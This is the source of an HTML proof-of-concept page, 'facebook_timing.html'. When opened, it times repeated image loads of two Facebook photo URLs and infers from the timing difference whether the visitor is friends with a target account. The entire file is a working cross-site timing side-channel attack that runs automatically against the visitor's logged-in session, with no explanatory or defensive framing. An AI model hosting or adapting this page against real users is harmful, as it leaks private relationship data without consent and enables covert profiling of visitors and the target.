facebook_timing.html (Source)

<!DOCTYPE HTML>
<html>
<head>
	<title>Are you friends with Dick?</title>
	<script>
	function time_request(src, result_callback) {
		var ifr = document.createElement("img");		
		time_taken = new Date();
		ifr.onerror = (function(ifr, time_taken) { 	
			return function() {
				time_taken = (new Date() - time_taken);
				document.body.removeChild(ifr);	
				result_callback(time_taken);	
			}
		})(ifr, time_taken);
		ifr.src = src; 
		document.body.appendChild(ifr);	
	}


	function callback_after_n(n, counter, callback) {
		if(counter == n) {
			callback();
		} 
	}
	
	function repeat_n_times(func, args, callback, i, n) {
		if(i >= n)
			return;
		
		func(args, function(returned) {
			callback(returned);
			repeat_n_times(func, args, callback, ++i, n);
		});
	}

	document.addEventListener('DOMContentLoaded', function() {				
		tested_times = [];		
		false_times = [];
		
		n = 10;
		counter = 0;
		
		summarize = function() {
			tested_times.sort();
			false_times.sort();
						
			//~ avg_tested = checking_sum / n;
			//~ avg_false = known_false_sum / n;
			
			median_tested = tested_times[n/2];
			median_false = false_times[n/2];
			diff = median_tested - median_false;
			perc = diff / median_tested * 100;
			console.log("***************");
			console.log("Summary: ");
			console.log("***************");
			console.log("Tested: " + median_tested);
			console.log("False: " + median_false);
			console.log("Diff: " + diff);
			console.log("%: " + perc);
			if(perc > 12.0) {
				console.log("User is friends with your friend");
				document.getElementById("status").innerHTML = "Yes!";
				document.getElementById("status").style.color = "#32801F";
				document.body.style.backgroundColor = "#47D435";
			} else {
				document.getElementById("status").innerHTML = "No.";
				document.getElementById("status").style.color = "#801F1F";
				document.body.style.backgroundColor = "#D43535";
			}			
		};
		
		function check_target() {		
			console.log("Checking against target image.");
			photo_src = "https://www.facebook.com/photo.php?fbid=1397218357230467";
			counter = 0;
			repeat_n_times(time_request, photo_src, function(time_taken) {
				console.log(time_taken + " ms");				
				tested_times.push(time_taken);
				counter++;
				callback_after_n(n, counter, check_false);
			}, 0, n);
		}	
		
		function check_false() {
			console.log("Checking against false access image.");
			known_false = "https://www.facebook.com/photo.php?fbid=836480883032068";
			counter = 0;
			repeat_n_times(time_request, known_false, function(time_taken) {
				console.log("known_false: " + time_taken + " ms");
				false_times.push(time_taken);
				counter++;
				callback_after_n(n, counter, summarize);
			}, 0, n);
		}
		
		check_target();
	});
	</script>
	<style>
	body {
		background-color: #FFAE3D;
	}
	h1 {
		font-size: 56px;
		display: block;
		margin: 250px auto;
		width: 400px;
		color: #B37B2D;
	}
	</style>
</head>
<body>	
	<h1 id="status">Checking...</h1>	
</body>